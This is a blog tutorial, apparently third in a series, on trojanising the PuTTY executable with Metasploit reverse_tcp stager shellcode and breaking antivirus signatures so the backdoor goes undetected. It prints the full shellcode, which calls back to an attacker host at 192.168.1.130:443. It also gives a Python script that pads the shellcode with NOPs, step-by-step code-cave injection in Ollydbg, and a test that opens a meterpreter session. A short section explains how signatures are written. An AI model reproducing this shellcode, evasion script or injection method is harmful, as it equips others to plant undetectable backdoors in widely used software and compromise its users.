Backdoor 103: Fully Undetected

Introduction

In this episode of Backdoor 103, we will be discussing signatures, how to break them, provide a tutorial on how to make your own and show a working proof of concept. When referring to antivirus scanners, everyone mentions "signatures" and how they mainly use signatures to detect potentially malicious files.

Included in this tutorial is a Python script that I had written to assist me in breaking signatures, it performs a simple job but will be improved with unrolling and full automation in the future.

So how does this work exactly? This tutorial aims to answer the following questions:

  1. What are these signatures?
  2. What type of signatures can we find?
  3. How do they work?
  4. Executable analysis.
  5. How do we create our own signatures for a chosen executable or file?
  6. How well does this technique actually work?
  7. Are we safe from viruses?
  8. How do I apply this technique?
  9. Results?

Consider a harmless executable

In this section, we will consider a harmless executable that just has shell code inside but does not actually get executed. Therefore, should not be flagged as malicious.

Firstly, let's scan the default Putty that is openly available on the internet. The following screenshot displays these results.

The default Putty executable on its own is detected as 2/56 regardless of signature scans and antivirus targeting our modifications.

Next, we create the executable as we did in Backdoor 101 and 102 without making it malicious. Just paste the shell code into an arbitrary code cave but not actually link the execution flow to it. Save this executable and upload it onto VirusTotal for some results to analyse, shown below.

The above image displays a 6/56 detection rate, same as the one created in Backdoor 101. We can make the assumption that this particular shell code on its own has only been blacklisted in signature scans for 4 of these antivirus scanners. In Backdoor 102, our minimal efforts to split shell code had broken some part of the signature scans leading to a decrease of 2 more antiviruses being able to detect our payload. Our simple mechanism had managed to bypass two antiviruses by luck in the areas that we split and replaced - breaking their signature.

I will now introduce a sample which does indeed include the back door but is only as detected as the default putty.exe. These results are displayed below. Details of the exact shell code will be in the rest of the post.

The above result was mainly possible due to the method that antiviruses use to signature shell code within executable files. I will dig deeper into why this works in the following section.

Signature creation

In the previous section I had already mentioned that 4 of the antivirus scanners must have used signatures from the default shell code that was injected. They did not use any heuristics such as execution pattern. The reason that we know this through the analysis is because the shell code is not actually dangerous when it is not linked to the execution flow. Therefore, there was no way that execution flow analysis or heuristics were used.

In the second sample I had shown, we had a 0 detection rate on the actual shell code. This was possible due to a simple principle. To understand how signatures are actually provided and used by an antivirus scanner, we must first understand its format.

For example, let us take the default reverse_tcp stager. Hex dump displayed below.

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd56a0568c0a8014d680200005089e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8610000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d225868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c24e971ffffff01c329c675c7c3bbf0b5a2566a0053ffd5

An antivirus vendor would take a signature of this shell code to be used in their database. In order to detect whether this is a malicious file, the antivirus scanner runs a scan for a pattern string. A shorter string versus a longer string brings along once again the problem of under fitting and over fitting in classification - used in data analytics and machine learning.

Before we begin to create signatures for this payload, we need to understand which bytes have dynamic values and are likely to change on generation, compilation or updates.

If we paste this into ODA we get the following output:

It is often the case that these values will change per update or compilation. However, as we are working with raw shell code from msfvenom, these are always hard coded in. What we need to consider more are values such as the LHOST and LPORT values, which will change depending on the parameters we have inputted into msfvenom on generation. When creating signatures for malware, it is often useful to place wildcards in positions which use operations that have variable operand values due to the values changing on compilation - this makes the signature less prone to break on new versions of the same malware.

Since we are in a white box perspective and we can actually change the LHOST and LPORT. We can set the values to 255.255.255.255 and 65535 respectively to see this in the assembly instantly as displayed in the following screenshot.

When we know the position of these variables, we then know which operation codes to avoid or to wildcard in our signatures.

I will demonstrate the generation of two signatures that can be used to detect this shell code. Let us take the following set of operations to be used in our signature. Shown in the screenshot.

The hex representation will be:

54 50 68 29 80 6B 00 FF D5 6A 05 68 FF FF FF FF 68 02 00 FF FF 89 E6 50 50 50 50 40 50

Now taking the positions where the "ff"'s are, we can place wildcards as such:

54 50 68 29 80 6B 00 FF D5 6A 05 68 ?? ?? ?? ?? 68 02 00 ?? ?? 89 E6 50 50 50 50 40 50

Therefore we have a signature of

54 50 68 29 80 6B 00 FF D5 6A 05 68 ?? ?? ?? ?? 68 02 00 ?? ?? 89 E6 50 50 50 50 40 50

which will detect this part of the shell code. However, if there is ever any legitimate software that uses this exact same signature or pattern - then this signature will falsely detect the software as a piece of malware.

To demonstrate the creation of another signature, we have the following chunk of operation codes.

The hex representation will be:

FC E8 82 00 00 00 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C 02 2C 20

From experience I know that 4 bytes are used on the call as the variable value and 1 byte is used in the jump. Hence we can have the following signature for example.

FC E8 ?? ?? ?? ?? 60 89 E5 31 C0 64 8B 50 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF AC 3C 61 7C ?? 2C 20

However we have a large amount of bytes in between the wildcards that the signature must match in order to detect an existence of malware. Creating good signatures takes time, practice and experience.

Signature breaking

In this section, we will cover how to break signatures. Taking the example signature we had created in the previous section, we can begin to analyse what byte patterns that are also malicious but can break the signature.

54 50 68 29 80 6B 00 FF D5 6A 05 68 ?? ?? ?? ?? 68 02 00 ?? ?? 89 E6 50 50 50 50 40 50

The above image shows the original operation codes followed by the signature we had created to detect the existence of this pattern. In order to break this signature, all we have to do is change any part of the signature that is not a wildcard.

For example we can inject a "no operation" operator after the "push esp" instruction.

54 90 50 68 29 80 6B 00 FF D5 6A 05 68 ?? ?? ?? ?? 68 02 00 ?? ?? 89 E6 50 50 50 50 40 50

This would have broken the signature and rendered it useless. If it is so simple to break signatures, why is anything ever detected? Also, you may be wondering: "You know the signature, that's why you were able to break it". These statements are true, but what if we randomly inject "no operation" (NOP) operators all over the shell code without breaking the logical flow?

Other than just injecting NOPs in the shell code, we can use a process known as "unrolling" to create equivalent logical flow through the use of different instructions. I will provide two examples.

mov eax, [esi+4]

We can change this to equivalent instructions such as:

push ebx  
inc esi  
inc esi  
mov ebx, esi  
dec esi  
dec esi  
inc ebx  
inc ebx  
mov eax, [ebx]  
pop ebx  

Another example of this would be the classical case of:

mov eax, 0

Can be replaced with:

xor eax, eax

By using equivalent instructions as such, we can break signatures even if the virus scanner tries to detect an abnormal concentration of NOP instructions.

Generation and analysis of shell code

In this part of the post, I will demonstrate the generation of shell code to provide a back door using Ollydbg using manual injection.

To make this process a bit easier, I have created a Python script that makes use of the Capstone Engine library in Python. If you wish to make use of this script you must install the Capstone Engine Python library for your platform. This script takes a shell code and grabs every instruction and analyses it to detect operators which use relative operands. The script is also able to distinguish between variable operands which use 1 signed byte or 4 signed bytes for jumping to locations. If it detects 4 signed bytes it can inject a different number of NOPs as opposed to 1 signed byte. This is particularly useful when you want to translate short jumps to long jumps quickly in Ollydbg.

This script does not recalculate these variable operand values at the moment due to me not having time to implement this feature. However, the script at hand does help speed up the identification and manual injection of a NOP shifted shell code.

from capstone import *  
import binascii,sys, struct

CODE = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"  
CODE += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"  
CODE += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"  
CODE += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"  
CODE += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"  
CODE += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"  
CODE += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"  
CODE += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"  
CODE += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"  
CODE += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"  
CODE += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"  
CODE += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"  
CODE += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"  
CODE += "\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x82\x68\x02\x00\x01"  
CODE += "\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"  
CODE += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"  
CODE += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"  
CODE += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"  
CODE += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"  
CODE += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"  
CODE += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"  
CODE += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"  
CODE += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"  
CODE += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"  
CODE += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0"  
CODE += "\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

string = ""

debug = 1

def getNew(old, list):  
    for i in list:
        if i[0]  old:
            return i[1]
    return 0

print "==========================\r\n"

print "[+] vySEC: SIGNATURE BREAK\r\n"  
if len(sys.argv) != 3:  
    print ("[+] USAGE: %s <VALUE1> <VALUE2>" % sys.argv[0])
    print "[+] <VALUE1>: Number of NOPs to add between normal operations as well as calls"
    print "[+] <VALUE2>: Number of NOPs to add when a short jump or loop is found"
else:

    md = Cs(CS_ARCH_X86, CS_MODE_32)
    print "==========================\r\n"

    nops = 0
    relfound = 0
    reflist = []
    oldop=[]

    for i in md.disasm(CODE, 0x0):
        string += binascii.hexlify(i.bytes)
        quick = (binascii.hexlify(i.bytes))
        reflist.append((i.address, i.address+nops))
        oldop.append((i.address,quick,i.op_str,i.address+nops))
        if quick[0]  "7" or (quick[0:2]  "e3") or (quick[0:2]  "e9") or (quick[0:2]  "eb"):         #finds jumps
            string += "90"*int(sys.argv[2])
            nops += int(sys.argv[2])
            relfound += 1
            #oldop.append((i.address,quick,i.op_str,i.address+nops))
        else:
            if (quick[0:2]  "e2") or (quick[0:2]  "e0") or (quick[0:2]  "e1"):    #finds loops
                string += "90"*int(sys.argv[2])
                nops += int(sys.argv[2])
                relfound += 1
                #oldop.append((i.address,quick,i.op_str,i.address+nops))
            else:
                if (quick[0:2]  "e8"): #find calls
                    string += "90" * int(sys.argv[1])
                    relfound += 1
                    #oldop.append((i.address,quick,i.op_str,i.address+nops))
                else:
                    string += "90"*int(sys.argv[1])
                nops += int(sys.argv[1])

    newlen = 0

    print "[+] Detection"
    print "    =====\r\n"
    print "[+] OP TYPE\tOLD\t\tNEW\t\tBYTES\t\tOLD\t\tNEW"
    print "=================================================================================="
    newop = []
    for op in oldop:
        for i in reflist:
            if (hex(i[0]).split("L")[0])  op[2]:
                #print "%s\t->\t%s" % (hex(i[0]).split("L")[0], hex(i[1]).split("L")[0])

                if op[1][0]  "7" or (op[1][0:2]  "e3") or (op[1][0:2]  "e9") or (op[1][0:2]  "eb"):         #finds jumps
                    if (len(op[1]) > 4):
                        print "* FOUND JUMP:\t0x%x\t->\t0x%x\t\t%s\t%s\t->\t%s" % (op[0], op[3], op[1], op[2], hex(i[1]).split("L")[0])
                    else:
                        print "* FOUND JUMP:\t0x%x\t->\t0x%x\t\t%s\t\t%s\t->\t%s" % (op[0], op[3], op[1], op[2], hex(i[1]).split("L")[0])
                else:
                    if (op[1][0:2]  "e2") or (op[1][0:2]  "e0") or (op[1][0:2]  "e1"):    #finds loops
                        print "* FOUND LOOP:\t0x%x\t->\t0x%x\t\t%s\t\t%s\t->\t%s" % (op[0], op[3], op[1], op[2], hex(i[1]).split("L")[0])
                    else:
                        if (op[1][0:2]  "e8"): #find calls
                            print "* FOUND CALL:\t0x%x\t->\t0x%x\t\t%s\t%s\t->\t%s" % (op[0], op[3], op[1], op[2], hex(i[1]).split("L")[0])


    print "\r\n"
    print string


    for i in md.disasm(string, 0x0):
        newlen += 1

    print "\r\n"
    print "[+] Statistics"
    print "    ==========\r\n"
    print "* Relative location operations: %s" % int(relfound)
    print "* NOPs Added: %s" % int(nops)
    print "* Number of operations: %s" % int(newlen)
    print "* Final Shell code length: %s" % int(len(string)/2)

    print "\r\n"

    """if debug:
        print "[+] Debug"
        print "    =====\r\n"

        for i in md.disasm(binascii.unhexlify(string), 0x0):
            print "0x%x:\t%s\t%s" % (i.address, i.mnemonic, i.op_str)
        print "\r\n"

        #for i in reflist:
        #   print "%s -> %s" % (int(i[0]), int(i[1]))

        print "\r\n"
    """

As you can see, you can simply replace the shell code in the script.

[+] vySEC: SIGNATURE BREAK

[+] USAGE: python vySIGBREAK.py  
[+] : Number of NOPs to add between normal operations as well as calls (4 byte operands)

[+] : Number of NOPs to add when a short jump or loop is found (1 byte operands)

A usage example would be:

python vySIGBREAK.py 1 4

This would make space for any short jumps that can no longer jump to their original destinations, so we can amend them with long jumps.

The following is an example output shell code:

fc90e88200000090609089e59031c090648b5030908b520c908b5214908b7228900fb74a269031ff90ac903c61907c02909090902c2090c1cf0d9001c790e2f290909090529057908b5210908b4a3c908b4c117890e3489090909001d19051908b59209001d3908b491890e33a9090909049908b348b9001d69031ff90ac90c1cf0d9001c79038e09075f690909090037df8903b7d249075e49090909058908b58249001d390668b0c4b908b581c9001d3908b048b9001d09089442424905b905b90619059905a905190ffe0905f905f905a908b1290eb8d909090905d90683332000090687773325f905490684c77260790ffd590b8900100009029c490549050906829806b0090ffd5906a059068c0a801829068020001bb9089e6905090509050905090409050904090509068ea0fdfe090ffd59097906a1090569057906899a5746190ffd59085c090740a90909090ff4e089075ec90909090e861000000906a00906a0490569057906802d9c85f90ffd59083f800907e36909090908b36906a409068001000009056906a00906858a453e590ffd590939053906a00905690539057906802d9c85f90ffd59083f800907d229090909058906800400000906a00905090680b2f0f3090ffd590579068756e4d6190ffd5905e905e90ff0c2490e971ffffff9090909001c39029c69075c790909090c390bbf0b5a256906a00905390ffd590

Pasting this into ODA we get the following output as displayed in the screenshot.

As we can see, the operation codes are all safe and not corrupted thanks to Capstone Engine. However, the jumps are still jumping relative to their location and hence are corrupted. We need to resolve all of the relative operations. The script also provides an output displayed in the following screenshot.

This helps us drastically in fixing all of the operations manually. The next section will cover the process of resolving the issue of the offsets pointing to the wrong locations.

Injection Part 1: Labelling

In this section, I will assume that you have read Backdoor 101  and 102. This requires the understanding of how to align and preserve the stack and flags.

First, gather some information from the script output as displayed in the following screenshot.

We can see that the final shell code length is 518 bytes. Therefore we need at least an extra 10 bytes. Therefore, in Ollydbg, we must find a safe to use code cave of at least 520 bytes or we can use the knowledge from Backdoor 102 to split the shell code. In this tutorial, I will use a single block of space as opposed to multiple smaller ones. We also understand that there are 15 relative location operations.

The following screenshot highlights the column that we are using to set labels, we must go through each offset position in the shell code and set a label from a1 to a15.

In Ollydbg, we go to the shell code and double click on the following indicated location to set a relative pointer to help us calculate the positions in the shell code. After setting the pointer at the beginning of the shell code, we must go to every offset on the list highlighted above and label them (taught in Backdoor 102) from a0 to a15.

After you have labelled all 15 offsets, continue to the following section on fixing the operations.

Injection Part 2: Fixing the operations

This part of the injection process highlights how to fix the relative operations.

Go to each of the above offsets. Following the knowledge from Backdoor 102, we can double click on each operation and change the operand to a value in a0 to a15 as appropriate.

However, as the shell code is now shifted and some offsets may be outside of the range of a short jump, we may need to translate some jumps into long jumps. The following screenshot shows the error that will be displayed when this occurs.

Thanks to assigning extra bytes for short jumps, we have 4 extra bytes following which can be used translate this to a long jump by typing the following as displayed in the screenshot below.

This resolves the issue of not having enough space in 1 byte to jump around the shell code. After completing all of the fixes, we save everything and we have a fully usable back door. Do not forget to align the stack and also jump from the a point along the exit process execution flow, fixing the broken instruction and jumping back to the rest of the execution flow.

Testing the back door

Just to complete the post, it is important to have a section on the actual testing of the back door. Therefore, as per usual we set up the environment. My attacking box has the IP 192.168.1.130 and is listening on port 443 to stage meterpreter over.

We first execute the backdoor on the target host as displayed in the screenshot below.

We then click the exit button and putty closes as per usual. Displayed below.

After performing this, we look back over at the attacking box. The following screenshot shows a session being established and meterpreter being staged.

Results and conclusion

This section of the post will highlight the fact that antivirus scanners are not yet able to deal with changes in the shell code. The following screenshot shows that I have bypassed every single antivirus scanner. Jiangmin and NANO-Antivirus was already detecting putty.exe by default. The next post Backdoor 104 will build upon how to detect the signature that Jiangmin and NANO-Antivirus uses then we can use the unrolling technique described previously to fight against these signatures if we have limited space. This next post may be interesting for the readers who are looking to have their own private repository of undetected tools.

We can see that the back door is 100% fully undetected (FUD). The 2 antiviruses which detected the executable was due to it detecting the default putty but not the back door we have implanted.

I hope this tutorial teaches and raises the awareness of the dangers in pressing any button on any application. It may well trigger a connection out to a malicious actor. Thank you once again for reading my post. Any criticism, recommendations or advice will be much appreciated. The injection parts were rather vague but it does not get much easier as we already have a script that does most of it. The next script I will release will be able to fully automate this process and become a copy and paste to use shell code tool.